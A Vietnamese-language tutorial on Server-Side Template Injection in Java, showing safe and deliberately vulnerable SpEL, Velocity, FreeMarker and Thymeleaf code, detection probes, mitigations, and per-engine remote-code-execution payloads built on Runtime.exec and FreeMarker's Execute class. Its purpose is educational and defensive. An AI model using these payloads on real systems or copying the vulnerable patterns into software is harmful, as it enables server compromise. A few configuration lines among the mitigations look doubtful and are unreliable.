# Giới thiệu Server-Side Template Injection trong Java ## 1. SSTI là gì ? - **Định nghĩa**: là một lỗi bảo mật xảy ra khi untrusted data được truyền trực tiếp vào template engine hoặc expression language mà không được sanitize. - **Nguyên lý chung**: ```mermaid graph LR A[User Input] --> B[Template Engine] B --> C[AST Construction] C --> D[Code Execution] - **Impact**: Có thể dẫn đến full system compromise nếu JVM chạy với quyền cao. ## 2. Template Engine phổ biến trong Java ### Spring Expression Language (SpEL) **Context**: Spring Framework (Spring Boot), dùng trong `@Value`, XML configs. **Syntax**: `#{expression}`, `T(class).method()`, `new Class()`. **Ví dụ sử dụng an toàn**: ```java @RestController public class SafeController { @GetMapping("/welcome") public String welcome(@RequestParam String name) { ExpressionParser parser = new SpelExpressionParser(); // Sử dụng SimpleEvaluationContext để giới hạn quyền SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); Expression exp = parser.parseExpression("'Hello ' + #name"); return exp.getValue(context, name, String.class); // Safe } } ``` ### Apache Velocity **Context**: Render templates (emails, pages). **Syntax**: `${object.method()}`, `#set`, `#if/#foreach`. **Ví dụ sử dụng an toàn**: ```java public class VelocitySafe { public String renderWelcome(User user) { VelocityEngine ve = new VelocityEngine(); ve.setProperty(RuntimeConstants.RUNTIME_REFERENCES_STRICT, true); // Bật strict mode ve.init(); VelocityContext context = new VelocityContext(); context.put("user", user); Template template = ve.getTemplate("templates/welcome.vm"); // Template cố định StringWriter writer = new StringWriter(); template.merge(context, writer); return writer.toString(); } } ``` ### FreeMarker **Context**: HTML/email generation. **Syntax**: ${expression}, ?new(), <#if>, <#list>. **Ví dụ sử dụng an toàn**: ```java public class FreeMarkerSafe { public String renderWelcome(User user) throws Exception { Configuration cfg = new Configuration(Configuration.VERSION_2_3_30); cfg.setClassForTemplateLoading(this.getClass(), "/templates"); cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); // Bật sandbox Template template = cfg.getTemplate("welcome.ftl"); // Template cố định Map<String, Object> data = new HashMap<>(); data.put("user", user); StringWriter out = new StringWriter(); template.process(data, out); return out.toString(); } } ``` ### Thymeleaf **Context**: Spring Boot, hiện đại, HTML templates. **Syntax**: `th:text="${expression}"`, `th:utext`, `#{...}`. **Ví dụ sử dụng an toàn**: ```java @Controller public class ThymeleafSafeController { @GetMapping("/profile") public String profile(@RequestParam String tab, Model model) { // Chỉ cho phép giá trị tab trong whitelist if(!Arrays.asList("info", "settings").contains(tab)) { throw new IllegalArgumentException("Invalid tab"); } model.addAttribute("user", userService.getCurrentUser()); return "profile/" + tab; // Template cố định } } ``` ## 3. Detection & Exploit ### Payload đơn giản detect để detect engine | Engine | Payload Detect | Kết quả dương tính | |------------|-------------------------|-------------------| | **SpEL** | `#{7*7}` | Trả về 49 | | **Velocity** | `#set($x=7*7)${x}` | Trả về 49 | | **FreeMarker** | `${7*7}` | Trả về 49 | | **Thymeleaf** | `[[${7*7}]]` | Trả về 49 | | **JSP EL** | `${1+2}` | Trả về 3 | ### Spring Expression Language (SpEL) - Vulnerable Code ```java @RestController public class VulnerableController { @GetMapping("/spel") public String spel(@RequestParam String input) { ExpressionParser parser = new SpelExpressionParser(); // VULNERABLE: Sử dụng StandardEvaluationContext StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("input", input); // VULNERABLE: Cho phép user kiểm soát biểu thức Expression exp = parser.parseExpression(input); return exp.getValue(context, String.class); } // VULNERABLE: Sử dụng trong @Value với input không kiểm soát @Value("#{${customExpression}}") private String dynamicValue; } ``` **Payload RCE**: `T(java.lang.Runtime).getRuntime().exec('calc')` ### Apache Velocity - Vulnerable Code ```java public class VelocityVulnerable { public String render(String userTemplate) { VelocityEngine ve = new VelocityEngine(); ve.init(); VelocityContext context = new VelocityContext(); // VULNERABLE: Cho phép user kiểm soát toàn bộ template StringWriter writer = new StringWriter(); ve.evaluate(context, writer, "log", userTemplate); return writer.toString(); } } ``` **Payload RCE**: `#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$str.valueOf($chr.toChars(33)))${$class.inspect("java.lang.Runtime").type.getRuntime().exec('calc')}` ### FreeMarker - Vulnerable Code ```java public class FreeMarkerVulnerable { public String render(String templateName, Map<String, Object> data) throws Exception { Configuration cfg = new Configuration(Configuration.VERSION_2_3_30); cfg.setClassForTemplateLoading(this.getClass(), "/templates"); // VULNERABLE: Cho phép user kiểm soát tên template Template template = cfg.getTemplate(templateName); // VULNERABLE: Cho phép user truyền object nguy hiểm StringWriter out = new StringWriter(); template.process(data, out); return out.toString(); } } ``` **Payload RCE**: `/../(../)*/exploit.ftl` với nội dung exploit.ftl: `<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("calc") }` ### Thymeleaf - Vulnerable Code ```java @Controller public class ThymeleafVulnerableController { @GetMapping("/render") public String render(@RequestParam String templateContent, Model model) { // VULNERABLE: Render template từ input người dùng model.addAttribute("template", templateContent); return "dynamic-template"; } } ``` **Payload RCE**: `__${T(java.lang.Runtime).getRuntime().exec('calc')}__::.x` ## 4. Mitigation ### Biện pháp chung - **Không bao giờ** để user kiểm soát template hoặc biểu thức - Sử dụng template cố định với dữ liệu đầu vào đã validate - Áp dụng nguyên tắc least privilege cho JVM ### Mitigation theo engine **SpEL**: ```java // LUÔN dùng SimpleEvaluationContext cho untrusted input SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); // Vô hiệu hóa SpEL trong @Value @Configuration public class SpelConfig implements BeanFactoryPostProcessor { @Override public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) { ((AbstractBeanFactory) beanFactory).setBeanExpressionResolver(null); } } ``` **Velocity**: ```java // Bật strict mode và disable risky settings ve.setProperty(RuntimeConstants.RUNTIME_REFERENCES_STRICT, true); ve.setProperty(RuntimeConstants.EVENTHANDLER_INCLUDE, null); ve.setProperty(RuntimeConstants.EVENTHANDLER_METHODEXCEPTION, null); ``` **FreeMarker**: ```java // Kích hoạt sandbox mạnh mẽ cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER); // Vô hiệu hóa ?new cfg.setAPIBuiltinEnabled(false); ``` **Thymeleaf**: ```java // Tắt pre-processing spring.thymeleaf.mode=HTML // Trong code Java @Bean public SpringTemplateEngine templateEngine() { SpringTemplateEngine engine = new SpringTemplateEngine(); engine.setEnableSpringELCompiler(false); return engine; } ``` **JSP/JSTL**: ```jsp <!-- Vô hiệu hóa EL --> <%@ page isELIgnored="true" %> <!-- Hoặc dùng JSTL escape --> <c:out value="${param.input}" /> ``` ### Cấu hình hệ thống ```properties # Spring Boot: Tắt SpEL trong @Value spring.spel.ignore=true # Giới hạn quyền JVM -Djava.security.manager -Djava.security.policy==/path/to/security.policy ``` ## 5. Reference 1. [OWASP: Server-Side Template Injection](https://owasp.org/www-community/attacks/Server-Side_Template_Injection) 2. [Spring Security: SpEL Evaluation Context](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) 3. [FreeMarker Security Practices](https://freemarker.apache.org/docs/pgui_config_security.html) 4. [Thymeleaf Template Injection](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) 5. [Java SSTI Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#java) 6. [CVE-2016-4977: Spring Security OAuth RCE](https://tanzu.vmware.com/security/cve-2016-4977) 7. [Secure Coding Guidelines for Java](https://www.oracle.com/java/technologies/javase/seccodeguide.html) 8. [Spring Framework RCE via Data Binding (CVE-2022-22965)](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)